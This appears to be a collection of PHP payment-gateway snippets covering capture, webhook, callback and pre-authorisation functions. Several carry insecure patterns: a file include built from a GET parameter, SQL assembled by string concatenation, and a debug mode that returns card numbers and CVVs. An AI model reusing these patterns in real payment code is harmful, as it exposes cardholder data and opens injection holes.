$this->scrubVar($this->cart->gift_charge, 'MONEY');\n\n $aAuthorizeNet = array (\n \"x_login\" => $id,\n \"x_version\" => \"3.1\",\n \"x_test_request\" => $cType,\n \"x_delim_char\" => \"|\",\n \"x_delim_data\" => \"TRUE\",\n \"x_url\" => \"FALSE\",\n \"x_type\" => \"AUTH_CAPTURE\",\n \"x_method\" => \"CC\",\n \"x_tran_key\" => $pw, // \n \"x_invoice_num\" => $this->cart->session,\n \"x_relay_response\" => \"FALSE\",\n \"x_card_num\" => $transaction->payment['cc_number'],\n \"x_card_code\" => $transaction->payment['cc_cvv2'],\n \"x_exp_date\" => $transaction->payment['cc_exp_month'] . $transaction->payment['cc_exp_year'],\n \"x_description\" => $transaction->journal,\n \"x_tax\" => \"Taxes|\" . $this->scrubVar($this->cart->taxes),\n \"x_freight\" => \"Freight<|>\" . strip_tags( stripslashes($this->cart->ship_carrier) . '/handling' ) . \"<|>\" . ($this->cart->ship_charge + $this->cart->handle_charge),\n \"x_amount\" => $this->scrubVar($this->cart->total),\n \"x_company\" => $this->cart->bill_company,\n \"x_first_name\" => $this->cart->bill_name_first,\n \"x_last_name\" => $this->cart->bill_name_last,\n \"x_address\" => $this->cart->bill_address_1,\n \"x_city\" => $this->cart->bill_address_city,\n \"x_state\" => $this->cart->bill_address_state, \n \"x_zip\" => $this->cart->bill_address_postal_code,\n \"x_country\" => $this->cart->bill_country_iso_3166,\n \"x_phone\" => $this->cart->bill_address_phone,\n \"x_fax\" => $this->cart->bill_address_altphone, \n \"x_email\" => $this->cart->bill_email,\n \"x_ship_to_first_name\" => $this->cart->ship_name_first,\n \"x_ship_to_last_name\" => $this->cart->ship_name_last,\n \"x_ship_to_address\" => $this->cart->ship_address_1,\n \"x_ship_to_city\" => $this->cart->ship_address_city,\n \"x_ship_to_state\" => $this->cart->ship_address_state,\n \"x_ship_to_zip\" => $this->cart->ship_address_postal_code,\n \"x_ship_to_country\" => $this->cart->ship_country_iso_3166,\n \"x_customer_ip\" => $_SERVER['REMOTE_ADDR']\n ); \n\n $query = http_build_query($aAuthorizeNet, '', '&') . '&' . implode($products); \n\n $http = $this->curl($this->server, $query, array(), 'POST');\n\n empty($http->response) ? $response = array() : $response = explode('|', trim($http->response));\n\n ($response[0] == 4) ? $response[0] = 1 : false; \n\n $return['amount'] = $this->scrubVar($this->cart->total);\n $return['authorized'] = $response[0];\n $return['authorization_code'] = $response[4];\n $return['transaction_type'] = 'AUTH_CAPTURE';\n $return['transaction_id'] = $response[6];\n $return['message'] = '[' . strtoupper(substr($id, -4)) . ':' . $response[2] . '] [' . substr($transaction->payment['cc_number'], -4) . ']' . $response[3];\n ($this->debug) ? $return['query'] = $query : false;\n ($this->debug) ? $return['response'] = json_encode($http->response) : false;\n\n return (object) $return;\n \n }", "public function creditCardPayment()\n {\n }", "function hook_commerce_adyen_capture_rejected(\\Commerce\\Adyen\\Payment\\Transaction\\Payment $transaction, \\stdClass $order) {\n\n}", "public function pay_action ()\n\t{\n\t\ttry\n\t\t{\n\t\t\t$order_id = $_GET['osc_order_id'];\n\n\t\t\t$payment = self::get_api()->payments->create(array(\n\t\t\t\t\"amount\" => $this->get_order_total($order_id),\n\t\t\t\t\"method\" => isset($_GET['method']) ? $_GET['method'] : NULL,\n\t\t\t\t\"description\" => MODULE_PAYMENT_MOLLIE_PAYMENT_DESCRIPTION . \" \" . $order_id,\n\t\t\t\t\"redirectUrl\" => $this->get_return_url($order_id),\n\t\t\t\t\"metadata\" => array(\"order_id\" => $order_id),\n\t\t\t\t\"webhookUrl\" => $this->get_webhook_url($order_id),\n\t\t\t\t\"issuer\" => !empty($_GET['issuer']) ? $_GET['issuer'] : NULL\n\t\t\t));\n\n\t\t\t$this->log($payment->id, $payment->status, $order_id);\n\n\t\t\theader(\"Location: \" . $payment->getPaymentUrl());\n\t\t}\n\t\tcatch (Mollie_API_Exception $e)\n\t\t{\n\t\t\techo \"API call failed: \" . htmlspecialchars($e->getMessage());\n\t\t}\n\t}", "public function process_webhook_capture( $notification ) {\n\t\t$order = WC_Stripe_Helper::get_order_by_charge_id( $notification->data->object->id );\n\n\t\tif ( ! $order ) {\n\t\t\tWC_Stripe_Logger::log( 'Could not find order via charge ID: ' . $notification->data->object->id );\n\t\t\treturn;\n\t\t}\n\n\t\t$order_id = WC_Stripe_Helper::is_wc_lt( '3.0' ) ? $order->id : $order->get_id();\n\n\t\tif ( 'stripe' === ( WC_Stripe_Helper::is_wc_lt( '3.0' ) ? $order->payment_method : $order->get_payment_method() ) ) {\n\t\t\t$charge = WC_Stripe_Helper::is_wc_lt( '3.0' ) ? get_post_meta( $order_id, '_transaction_id', true ) : $order->get_transaction_id();\n\t\t\t$captured = WC_Stripe_Helper::is_wc_lt( '3.0' ) ? get_post_meta( $order_id, '_stripe_charge_captured', true ) : $order->get_meta( '_stripe_charge_captured', true );\n\n\t\t\tif ( $charge && 'no' === $captured ) {\n\t\t\t\tWC_Stripe_Helper::is_wc_lt( '3.0' ) ? update_post_meta( $order_id, '_stripe_charge_captured', 'yes' ) : $order->update_meta_data( '_stripe_charge_captured', 'yes' );\n\n\t\t\t\t// Store other data such as fees\n\t\t\t\tWC_Stripe_Helper::is_wc_lt( '3.0' ) ? update_post_meta( $order_id, '_transaction_id', $notification->data->object->id ) : $order->set_transaction_id( $notification->data->object->id );\n\n\t\t\t\tif ( isset( $notification->data->object->balance_transaction ) ) {\n\t\t\t\t\t$this->update_fees( $order, $notification->data->object->balance_transaction );\n\t\t\t\t}\n\n\t\t\t\t// Check and see if capture is partial.\n\t\t\t\tif ( $this->is_partial_capture( $notification ) ) {\n\t\t\t\t\t$partial_amount = $this->get_partial_amount_to_charge( $notification );\n\t\t\t\t\t$order->set_total( $partial_amount );\n\t\t\t\t\t/* translators: partial captured amount */\n\t\t\t\t\t$order->add_order_note( sprintf( __( 'This charge was partially captured via Stripe Dashboard in the amount of: %s', 'woocommerce-gateway-stripe' ), $partial_amount ) );\n\t\t\t\t} else {\n\t\t\t\t\t$order->payment_complete( $notification->data->object->id );\n\n\t\t\t\t\t/* translators: transaction id */\n\t\t\t\t\t$order->add_order_note( sprintf( __( 'Stripe charge complete (Charge ID: %s)', 'woocommerce-gateway-stripe' ), $notification->data->object->id ) );\n\t\t\t\t}\n\n\t\t\t\tif ( is_callable( array( $order, 'save' ) ) ) {\n\t\t\t\t\t$order->save();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function handleGatewayCallback()\n {\n $paymentDetails = Paystack::getPaymentData();\n\n dd($paymentDetails);\n // Now you have the payment details,\n // you can store the authorization_code in your db to allow for recurrent subscriptions\n // you can then redirect or do whatever you want\n }", "protected function _capture_payment_paypal_pro_payflow( $order ) {\n\t\t\t$paypalpro_payflow = new WC_Gateway_PayPal_Pro_PayFlow();\n\n\t\t\t$txn_id = $this->_get_transaction_id( version_compare( WC_VERSION, '3.0', '<' ) ? $order->id : $order->get_id() );\n\t\t\t$url = $paypalpro_payflow->testmode ? $paypalpro_payflow->testurl : $paypalpro_payflow->liveurl;\n\n\t\t\t$post_data = array();\n\t\t\t$post_data['USER'] = $paypalpro_payflow->paypal_user;\n\t\t\t$post_data['VENDOR'] = $paypalpro_payflow->paypal_vendor;\n\t\t\t$post_data['PARTNER'] = $paypalpro_payflow->paypal_partner;\n\t\t\t$post_data['PWD'] = $paypalpro_payflow->paypal_password;\n\t\t\t$post_data['TRXTYPE'] = 'D'; // payflow only allows delayed capture for authorized only transactions.\n\t\t\t$post_data['AMT'] = $order->get_total();\n\t\t\t$post_data['ORIGID'] = $txn_id;\n\n\t\t\tif ( $paypalpro_payflow->soft_descriptor ) {\n\t\t\t\t$post_data['MERCHDESCR'] = $paypalpro_payflow->soft_descriptor;\n\t\t\t}\n\n\t\t\t$paypalpro_payflow->log( 'Capture payment request: ' . print_r( $post_data, true ) );\n\n\t\t\t$response = wp_remote_post( $url, array(\n\t\t\t\t'method' => 'POST',\n\t\t\t\t'body' => urldecode( http_build_query( $post_data, null, '&' ) ),\n\t\t\t\t'timeout' => 70,\n\t\t\t\t'user-agent' => 'WooCommerce',\n\t\t\t\t'httpversion' => '1.1',\n\t\t\t));\n\n\t\t\tif ( is_wp_error( $response ) ) {\n\t\t\t\t$order->add_order_note( __( 'Unable to capture charge!', 'woocommerce-gateway-paypal-pro' ) . ' ' . $response->get_error_message() );\n\t\t\t\t$paypalpro_payflow->log( 'Error: ' . $response->get_error_message() );\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tparse_str( $response['body'], $parsed_response );\n\n\t\t\t$paypalpro_payflow->log( 'Parsed Response ' . print_r( $parsed_response, true ) );\n\n\t\t\tif ( '0' !== $parsed_response['RESULT'] ) {\n\t\t\t\t$this->_capture_payment_paypal_pro_payflow_failed( $order, $parsed_response );\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t$this->_capture_payment_paypal_pro_payflow_success( $order, $parsed_response );\n\n\t\t\treturn true;\n\t\t}", "public function acceptPayment($receipt)\n\t{\n\t}", "public function capture(Varien_Object $payment, $amount)\r\n {\r\n if (!$this->_isBackendOrder) {\r\n if ($this->_connectionType === Eway_Rapid31_Model_Config::CONNECTION_SHARED_PAGE) {\r\n $transID = Mage::getSingleton('core/session')->getData('ewayTransactionID');\r\n $payment->setTransactionId($transID);\r\n $payment->setIsTransactionClosed(0);\r\n Mage::getSingleton('core/session')->unsetData('ewayTransactionID');\r\n return $this;\r\n } elseif ($this->_connectionType === Eway_Rapid31_Model_Config::CONNECTION_TRANSPARENT ) {\r\n //$payment->setTransactionId(Mage::getSingleton('core/session')->getTransactionId());\r\n Mage::getModel('ewayrapid/request_transparent')->setTransaction($payment);\r\n return $this;\r\n }\r\n }\r\n\r\n /* @var Mage_Sales_Model_Order_Payment $payment */\r\n if ($amount <= 0) {\r\n Mage::throwException(Mage::helper('paygate')->__('Invalid amount for capture.'));\r\n }\r\n $request = Mage::getModel('ewayrapid/request_token');\r\n\r\n $amount = round($amount * 100);\r\n if($this->_isPreauthCapture($payment)) {\r\n $previousCapture = $payment->lookupTransaction(false, Mage_Sales_Model_Order_Payment_Transaction::TYPE_CAPTURE);\r\n if($previousCapture) {\r\n $customer = Mage::getModel('customer/customer')->load($payment->getOrder()->getCustomerId());\r\n Mage::helper('ewayrapid/customer')->setCurrentCustomer($customer);\r\n\r\n /* @var Mage_Sales_Model_Order_Payment_Transaction $previousCapture */\r\n $request->doTransaction($payment, $amount);\r\n $payment->setParentTransactionId($previousCapture->getParentTxnId());\r\n } else {\r\n $request->doCapturePayment($payment, $amount);\r\n }\r\n } else {\r\n if (!$payment->getIsRecurring()) {\r\n $this->_shouldCreateOrUpdateToken($payment, $request);\r\n }\r\n $request->doTransaction($payment, $amount);\r\n }\r\n\r\n return $this;\r\n }", "public function processPayment(){\r\n return true;\r\n }", "public function capture($url, $orderUUID, $amount, $isPartialCapture);", "public function success_payment() {\n \n // Check if the current user is admin and if session exists\n $this->check_session($this->user_role, 0);\n \n // Require the Payments interface\n require_once APPPATH . 'interfaces/Payments.php';\n\n // Verify if the get param pay-return exits\n if ( get_instance()->input->get('pay-return', TRUE) ) {\n \n $pay = get_instance()->input->get('pay-return', TRUE);\n\n if ( file_exists(APPPATH . 'payments/' . ucfirst($pay) . '.php') ) {\n\n require_once APPPATH . 'payments/' . ucfirst($pay) . '.php';\n\n // Call the class\n $pay_class = ucfirst(str_replace('-', '_', $pay));\n\n $get = new $pay_class;\n\n $get->save();\n\n } else {\n\n display_mess(47);\n\n }\n \n }\n \n }", "public function capture(Varien_Object $payment, $amount)\n {\n return $this->_captureAuthorized($payment, $amount);\n }", "public function capturePaymentAuth($dataOverride = [])\n {\n $main = $this->MainInst;\n $data = [];\n $data[\"merchantPaymentId\"] = $main->payload->get_merchant_payment_id();\n $data[\"amount\"] = $main->payload->get_amount();\n $data[\"merchantCaptureId\"] = $main->payload->get_merchant_capture_id();\n $data[\"requestedAt\"] = $main->payload->get_requested_at();\n $data[\"orderDescription\"] = $main->payload->get_order_description();\n $data = array_merge($data, $dataOverride);\n $url = $main->GetConfig('API_URL') . $main->GetEndpoint('PAYMENT') . \"/capture\";\n $endpoint = '/v2' . $this->main()->GetEndpoint('PAYMENT') . \"/capture\";\n $options = $this->HmacCallOpts('POST', $endpoint, 'application/json;charset=UTF-8;', $data);\n $options['CURLOPT_TIMEOUT'] = 30;\n return json_decode(HttpPost($url, $data, $options), true);\n }", "protected function _capture_payment_paypal_pro_success( $order, $parsed_response ) {\n\t\t\t$order_id = version_compare( WC_VERSION, '3.0', '<' ) ? $order->id : $order->get_id();\n\t\t\t$order->add_order_note( sprintf( __( 'PayPal Pro charge complete (Transaction ID: %s)', 'woocommerce-gateway-paypal-pro' ), $parsed_response['TRANSACTIONID'] ) );\n\n\t\t\tupdate_post_meta( $order_id, '_paypalpro_charge_captured', 'yes' );\n\n\t\t\t// Update the transaction ID of the capture.\n\t\t\tupdate_post_meta( $order_id, '_transaction_id', $parsed_response['TRANSACTIONID'] );\n\t\t}", "public function regularPreAuth()\n {\n\n if (\n Request::attributes()->get('action') === 'prospect' ||\n !$this->configuration->getEnablePreauth()\n )\n {\n return;\n }\n \n $crmInfo = $this->configuration->getCrm();\n $crmType = $crmInfo['crm_type'];\n $crmClass = sprintf(\n '\\Application\\Model\\%s', ucfirst($crmType)\n );\n $crmInstance = new $crmClass($this->configuration->getCrmId());\n \n $preauthRegularPrice = $this->configuration->getPreauthAmount();\n CrmPayload::set('authorizationAmount', $preauthRegularPrice);\n \n call_user_func_array(array($crmInstance, 'preAuthorization'), array());\n $response = CrmResponse::all();\n\n Session::set('regular_pre_auth_response_' . $this->currentStepId, $response);\n \n if (empty($response['success']))\n { \n $enableRetryPreauthRegular = $this->configuration->getEnablePreauthRetry();\n if (!empty($enableRetryPreauthRegular))\n {\n $retryAmts = $this->configuration->getRetryPreauthAmount();\n $retryAmts = json_decode($retryAmts);\n $retryAmtArr = explode(\",\", $retryAmts);\n $this->retryPreauth($crmInstance, $retryAmtArr);\n \n $response = CrmResponse::all();\n if (empty($response['success']))\n {\n CrmPayload::update(array(\n 'meta.bypassCrmHooks' => true,\n 'meta.terminateCrmRequest' => true,\n ));\n \n CrmResponse::replace($response);\n }\n }\n else\n {\n CrmPayload::update(array(\n 'meta.bypassCrmHooks' => true,\n 'meta.terminateCrmRequest' => true,\n ));\n\n CrmResponse::replace($response);\n }\n }\n \n if(!empty($response['customerId']))\n {\n CrmPayload::set('temp_customer_id', $response['customerId']);\n }\n \n }", "public function callbackhostedpaymentAction()\n {\n $boError = false;\n $formVariables = array();\n $model = Mage::getModel('paymentsensegateway/direct');\n $szOrderID = $this->getRequest()->getPost('OrderID');\n $checkout = Mage::getSingleton('checkout/type_onepage');\n $session = Mage::getSingleton('checkout/session');\n $szPaymentProcessorResponse = '';\n $order = Mage::getModel('sales/order');\n $order->load(Mage::getSingleton('checkout/session')->getLastOrderId());\n $nVersion = Mage::getModel('paymentsensegateway/direct')->getVersion();\n $boCartIsEmpty = false;\n \n try\n {\n $hmHashMethod = $model->getConfigData('hashmethod');\n $szPassword = $model->getConfigData('password');\n $szPreSharedKey = $model->getConfigData('presharedkey');\n \n $formVariables['HashDigest'] = $this->getRequest()->getPost('HashDigest');\n $formVariables['MerchantID'] = $this->getRequest()->getPost('MerchantID');\n $formVariables['StatusCode'] = $this->getRequest()->getPost('StatusCode');\n $formVariables['Message'] = $this->getRequest()->getPost('Message');\n $formVariables['PreviousStatusCode'] = $this->getRequest()->getPost('PreviousStatusCode');\n $formVariables['PreviousMessage'] = $this->getRequest()->getPost('PreviousMessage');\n $formVariables['CrossReference'] = $this->getRequest()->getPost('CrossReference');\n $formVariables['Amount'] = $this->getRequest()->getPost('Amount');\n $formVariables['CurrencyCode'] = $this->getRequest()->getPost('CurrencyCode');\n $formVariables['OrderID'] = $this->getRequest()->getPost('OrderID');\n $formVariables['TransactionType'] = $this->getRequest()->getPost('TransactionType');\n $formVariables['TransactionDateTime'] = $this->getRequest()->getPost('TransactionDateTime');\n $formVariables['OrderDescription'] = $this->getRequest()->getPost('OrderDescription');\n $formVariables['CustomerName'] = $this->getRequest()->getPost('CustomerName');\n $formVariables['Address1'] = $this->getRequest()->getPost('Address1');\n $formVariables['Address2'] = $this->getRequest()->getPost('Address2');\n $formVariables['Address3'] = $this->getRequest()->getPost('Address3');\n $formVariables['Address4'] = $this->getRequest()->getPost('Address4');\n $formVariables['City'] = $this->getRequest()->getPost('City');\n $formVariables['State'] = $this->getRequest()->getPost('State');\n $formVariables['PostCode'] = $this->getRequest()->getPost('PostCode');\n $formVariables['CountryCode'] = $this->getRequest()->getPost('CountryCode');\n \n if(!PYS_PaymentFormHelper::compareHostedPaymentFormHashDigest($formVariables, $szPassword, $hmHashMethod, $szPreSharedKey))\n {\n $boError = true;\n $szNotificationMessage = \"The payment was rejected for a SECURITY reason: the incoming payment data was tampered with.\";\n Mage::log(\"The Hosted Payment Form transaction couldn't be completed for the following reason: [\".$szNotificationMessage. \"]. Form variables: \".print_r($formVariables, 1));\n }\n else\n {\n $paymentsenseOrderId = Mage::getSingleton('checkout/session')->getPaymentsensegatewayOrderId();\n $szOrderStatus = $order->getStatus();\n $szStatusCode = $this->getRequest()->getPost('StatusCode');\n $szMessage = $this->getRequest()->getPost('Message');\n $szPreviousStatusCode = $this->getRequest()->getPost('PreviousStatusCode');\n $szPreviousMessage = $this->getRequest()->getPost('PreviousMessage');\n $szOrderID = $this->getRequest()->getPost('OrderID');\n \n if($szOrderStatus != 'pys_paid' &&\n $szOrderStatus != 'pys_preauth')\n {\n $checkout->saveOrderAfterRedirectedPaymentAction(true,\n $this->getRequest()->getPost('StatusCode'),\n $this->getRequest()->getPost('Message'),\n $this->getRequest()->getPost('PreviousStatusCode'),\n $this->getRequest()->getPost('PreviousMessage'),\n $this->getRequest()->getPost('OrderID'),\n $this->getRequest()->getPost('CrossReference'));\n }\n else \n {\n // cart is empty\n $boCartIsEmpty = true;\n $szPaymentProcessorResponse = null;\n \n // chek the StatusCode as the customer might have just clicked the BACK button and re-submitted the card details\n // which can cause a charge back to the merchant\n $this->_fixBackButtonBug($szOrderID, $szStatusCode, $szMessage, $szPreviousStatusCode, $szPreviousMessage);\n }\n }\n }\n catch (Exception $exc)\n {\n $boError = true;\n $szNotificationMessage = Paymentsense_Paymentsensegateway_Model_Common_GlobalErrors::ERROR_183;\n Mage::logException($exc);\n }\n \n $szPaymentProcessorResponse = $session->getPaymentprocessorresponse();\n if($boError)\n {\n if($szPaymentProcessorResponse != null &&\n $szPaymentProcessorResponse != '')\n {\n $szNotificationMessage = $szNotificationMessage.'<br/>'.$szPaymentProcessorResponse;\n }\n \n $model->setPaymentAdditionalInformation($order->getPayment(), $this->getRequest()->getPost('CrossReference'));\n //$order->getPayment()->setTransactionId($this->getRequest()->getPost('CrossReference'));\n \n if($nVersion >= 1410)\n {\n if($order)\n {\n $orderState = 'pending_payment';\n $orderStatus = 'pys_failed_hosted_payment';\n $order->setCustomerNote(Mage::helper('paymentsensegateway')->__('Hosted Payment Failed'));\n $order->setState($orderState, $orderStatus, $szPaymentProcessorResponse, false);\n $order->save();\n }\n }\n if($nVersion == 1324 || $nVersion == 1330)\n {\n Mage::getSingleton('checkout/session')->addError($szNotificationMessage);\n }\n else \n {\n Mage::getSingleton('core/session')->addError($szNotificationMessage);\n }\n $order->save();\n \n $this->_clearSessionVariables();\n $this->_redirect('checkout/onepage/failure');\n }\n else\n {\n // set the quote as inactive after back from paypal\n Mage::getSingleton('checkout/session')->getQuote()->setIsActive(false)->save();\n\n if($boCartIsEmpty == false)\n {\n // send confirmation email to customer\n if($order->getId())\n {\n $order->sendNewOrderEmail();\n }\n \n if($nVersion >= 1410)\n {\n // TODO : no need to remove stock item as the system will do it in 1.6 version\n if($nVersion < 1600)\n {\n $model->subtractOrderedItemsFromStock($order);\n }\n $this->_updateInvoices($order, $szPaymentProcessorResponse);\n }\n \n if($nVersion != 1324 && $nVersion != 1330)\n {\n if($szPaymentProcessorResponse != '')\n {\n Mage::getSingleton('core/session')->addSuccess($szPaymentProcessorResponse);\n }\n }\n }\n \n $this->_redirect('checkout/onepage/success', array('_secure' => true));\n }\n }", "public function pay();", "public function capture($orderId, $amount, $invoice = null)\n {\n $data['captured_amount'] = Mage::helper('klarna_kco/checkout')->toApiFloat($amount);\n\n /**\n * Get items for capture\n */\n if ($invoice instanceof Mage_Sales_Model_Order_Invoice) {\n $orderItems = $this->_getGenerator()\n ->setObject($invoice)\n ->collectOrderLines()\n ->getOrderLines();\n\n if ($orderItems) {\n $data['order_lines'] = $orderItems;\n }\n }\n\n /**\n * Set shipping delay for capture\n *\n * Change this setting when items will not be shipped for x amount of days after capture.\n *\n * For instance, you capture on Friday but won't ship until Monday. A 3 day shipping delay would be set.\n */\n $shippingDelayObject = new Varien_Object(\n array(\n 'shipping_delay' => 0\n )\n );\n\n Mage::dispatchEvent(\n 'kco_capture_shipping_delay', array(\n 'shipping_delay_object' => $shippingDelayObject\n )\n );\n\n if ($shippingDelayObject->getShippingDelay()) {\n $data['shipping_delay'] = $shippingDelayObject->getShippingDelay();\n }\n\n $response = $this->_getOrderManagementApi()->captureOrder($orderId, $data);\n\n /**\n * If a capture fails, attempt to extend the auth and attempt capture again.\n * This work in certain cases that cannot be detected via api calls\n */\n if (!$response->getIsSuccessful() && !$this->_isRecursiveCall) {\n $extendResponse = $this->_getOrderManagementApi()->extendAuthorization($orderId);\n\n if ($extendResponse->getIsSuccessful()) {\n $this->_isRecursiveCall = true;\n $response = $this->capture($orderId, $amount);\n $this->_isRecursiveCall = false;\n\n return $response;\n }\n }\n\n if ($response->getIsSuccessful()) {\n $captureId = $this->_getOrderManagementApi()\n ->getLocationResourceId($response->getResponseObject()->getHeader('Location'));\n\n if ($captureId) {\n $captureDetails = $this->_getOrderManagementApi()->getCapture($orderId, $captureId);\n\n if ($captureDetails->getKlarnaReference()) {\n $captureDetails->setTransactionId($captureDetails->getKlarnaReference());\n\n return $captureDetails;\n }\n }\n }\n\n return $response;\n }", "public function quickbooksms_capture_payment($params)\n\t{\n\t\t$this->_api_method = 'CustomerCreditCardCaptureRq';\n\t\t$this->_request = $this->_build_request($params);\t\t\t\n\t\treturn $this->_handle_query();\n\t}", "public function capture(Varien_Object $payment, $amount)\n {\n if (!$this->canCapture()) {\n Mage::throwException(Mage::helper('payment')->__('Capture action is not available.'));\n }\n\n\t$order = $payment->getOrder();\n $notCapturable = 1;\n\n if ($order->hasInvoices()) {\n $oInvoiceCollection = $order->getInvoiceCollection();\n foreach ($oInvoiceCollection as $oInvoice) {\n if( $oInvoice->getRequestedCaptureCase() != Mage_Sales_Model_Order_Invoice::NOT_CAPTURE && $oInvoice->getState() != Mage_Sales_Model_Order_Invoice::STATE_CANCELED && $oInvoice->getState() != Mage_Sales_Model_Order_Invoice::STATE_PAID )\n {\n $notCapturable = 0;\n break;\n }\n }\n\n if( $notCapturable )\n {\n return $this;\n }\n }\n\n // confirm funds\n $this->_api->doConfirm($payment, $amount);\n return $this;\n }", "public function capture(Varien_Object $payment, $amount)\n {\n $errorMessage = '';\n $order = $payment->getOrder();\n $orderId = $order->getIncrementId();\n\n $authTransaction = $payment->lookupTransaction(null, Mage_Sales_Model_Order_Payment_Transaction::TYPE_AUTH);\n\n if ($authTransaction) {\n // Existing order\n try {\n $this->getLogger()->info('Preparing COLLECTION transaction for order #' . $orderId);\n $this->performCollection($payment, $amount, $authTransaction);\n } catch (\\Exception $e) {\n $errorMessage = $e->getMessage();\n }\n } else {\n // New order\n $this->getLogger()->info('ACTION_AUTHORIZE_CAPTURE has been triggered.');\n if ($this->_canUseCheckout) {\n $order->setCanSendNewEmailFlag(false);\n }\n\n $config = $this->getConfigHelper();\n $this->getLogger()->info(\n 'Preparing ' . $config->getTransactionType() . ' transaction for order #' . $orderId\n );\n return $this->processInitialTransaction($payment, $amount);\n }\n\n if ($errorMessage !== '') {\n $this->getLogger()->warning($errorMessage);\n Mage::throwException($errorMessage);\n }\n\n return $this;\n }", "protected function doExecutePayment() {\n // This method is empty so child classes can override it and provide their\n // own implementation.\n }", "public function test_receive_capture()\n {\n\n $payumService = m::spy('Recca0120\\LaravelPayum\\Service\\PayumService');\n $token = uniqid();\n\n /*\n |------------------------------------------------------------\n | Act\n |------------------------------------------------------------\n */\n\n $payumService\n ->shouldReceive('receiveCapture')->with($token)->andReturn($token);\n\n $controller = new PaymentController();\n\n /*\n |------------------------------------------------------------\n | Assert\n |------------------------------------------------------------\n */\n\n $controller->receiveCapture($payumService, $token);\n $payumService->shouldHaveReceived('receiveCapture')->with($token)->once();\n }", "function payment() {\n\t\t$url = 'https://www.instawallet.org/api/v1/w/' . $wallet_id . '/payment';\n\t\t$json = file_get_contents($url);\n\t\treturn json_decode($json);\n\t}", "public function record_payment()\r\n {\r\n if (!has_permission('payments', '', 'create')) {\r\n access_denied('Record Payment');\r\n }\r\n if ($this->input->post()) {\r\n $this->load->model('payments_model');\r\n $id = $this->payments_model->process_payment($this->input->post(), '');\r\n if ($id) {\r\n set_alert('success', _l('invoice_payment_recorded'));\r\n redirect(admin_url('payments/payment/' . $id));\r\n } else {\r\n set_alert('danger', _l('invoice_payment_record_failed'));\r\n }\r\n redirect(admin_url('invoices/list_invoices/' . $this->input->post('invoiceid')));\r\n }\r\n }", "public function capture(Varien_Object $payment, $amount) {\n\t\t\tif($this->getDebug())\n\t\t\t{\n\t\t\t\t$writer = new Zend_Log_Writer_Stream($this->getLogPath());\n\t\t\t\t$logger = new Zend_Log($writer);\n\t\t\t\t$logger->info(\"entering capture()\");\n\t\t\t}\n\t\t\t$this->setAmount($amount)->setPayment($payment);\n\t\t\t\n\t\t$orderTable = Mage::getSingleton('core/resource')->getTableName('sales_flat_order'); \n\t\t$orderInvoiceTable = Mage::getSingleton('core/resource')->getTableName('sales_flat_invoice'); \n\t\t$orderno = $payment->getOrder()->getIncrementId();\n\t\t\n\t\t$sql = \"SELECT * FROM $orderInvoiceTable p, $orderTable q WHERE q.increment_id ='\".$orderno.\"' AND q.entity_id=p.order_id AND p.increment_id>'' ORDER BY p.entity_id desc LIMIT 1;\";\n\t\t$sqlResult = Mage::getSingleton('core/resource')->getConnection('core_read')->fetchRow($sql);\n\t\t\n\t\t\t$invoiceId = $sqlResult['increment_id'];\n\t\t\tif($this->getDebug()) { $logger->info(\"lastinvoice: $invoiceId\"); }\n\t\t\t\n\t\t\tif(!$invoiceId) { $gatewayResponse = $this->_call($payment,'capture', $amount);\n\t\t\t} else { $gatewayResponse = $this->_call($payment,'captureonly', $amount); }\n\t\t\t\n\t\t\tif($this->getDebug()) { $logger->info(var_export($gatewayResponse, TRUE)); }\n\t\t\t\n\t\t\tif($gatewayResponse['Status']['transno']=='0') {\n\t\t\t\t$gatewayResponse = $this->_call($payment,'captureonly', $amount);\n\t\t\t\tif($this->getDebug()) { $logger->info(var_export($gatewayResponse, TRUE)); }\n\t\t\t}\n\t\t\tif($gatewayResponse === false)\n\t\t\t{\n\t\t\t\t$errorResult = $this->getError();\n\t\t\t\tif (isset($errorResult['message'])) {\n\t\t\t\t\t$message = Mage::helper('acimpro')->__('There has been an error processing your payment.') . $errorResult['message'];\n\t\t\t\t} else {\n\t\t\t\t\t$message = Mage::helper('acimpro')->__('There has been an error processing your payment. Please try later.');\n\t\t\t\t}\n\t\t\t\tMage::throwException($message);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/*if the transaction is successfulyl approved then set payment status*/\n\t\t\t\tif ($gatewayResponse['Status']['statusCode'] == \"Ok\")\n\t\t\t\t{\n\t\t\t\t\t/* If there is an error processing the credit card */\n\t\t\t\t\tif($gatewayResponse['Status']['code'] == \"I00001\")\n\t\t\t\t\t{\t\t\t\t\n\t\t\t\t\t\t$payment->setIsTransactionClosed(0);\n\t\t\t\t\t\t$payment->setTransactionId($gatewayResponse['Status']['transno']);\n\t\t\t\t\t\t$payment->setLastTransId($gatewayResponse['Status']['transno'])\n\t\t\t\t\t\t\t\t->setCcApproval($gatewayResponse['Status']['code'])\n\t\t\t\t\t\t\t\t->setCcTransId($gatewayResponse['Status']['transno'])\n\t\t\t\t\t\t\t\t->setCcAvsStatus($gatewayResponse['Status']['statusCode'])\n\t\t\t\t\t\t\t\t->setCcCidStatus($gatewayResponse['Status']['statusCode']);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t/* Save customer \"payment profile id\" and \"cusotmer profile Id\" in database and on next order customer can checkout by selecting that card*/\n\t\t\t\t\t\t$params = Mage::app()->getRequest()->getParams(); \n\t\t\t\t\t\t \n\n\t\t\t\t\t\tif(isset($params['placecard']) && $params['placecard'] == 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$resource = Mage::getSingleton('core/resource');\n\t\t\t\t\t\t\t$read= $resource->getConnection('core_read');\n\t\t\t\t\t\t\t$moreccTable = $resource->getTableName('morecc');\n\t\t\t\t\t\t\t$customerEmail = $payment->getOrder()->getCustomerEmail();\n\t\t\t\t\t\t\t$billingAddress = $payment->getOrder()->getBillingAddress();\n\t\t\t\t\t\t\t$customerId = $payment->getOrder()->getCustomerId();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif(!isset($customerEmail) && $customerEmail == \"\")\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$customerEmail = $billingAddress['email'];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif(!isset($customerId) && $customerId == \"\")\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$customerId = 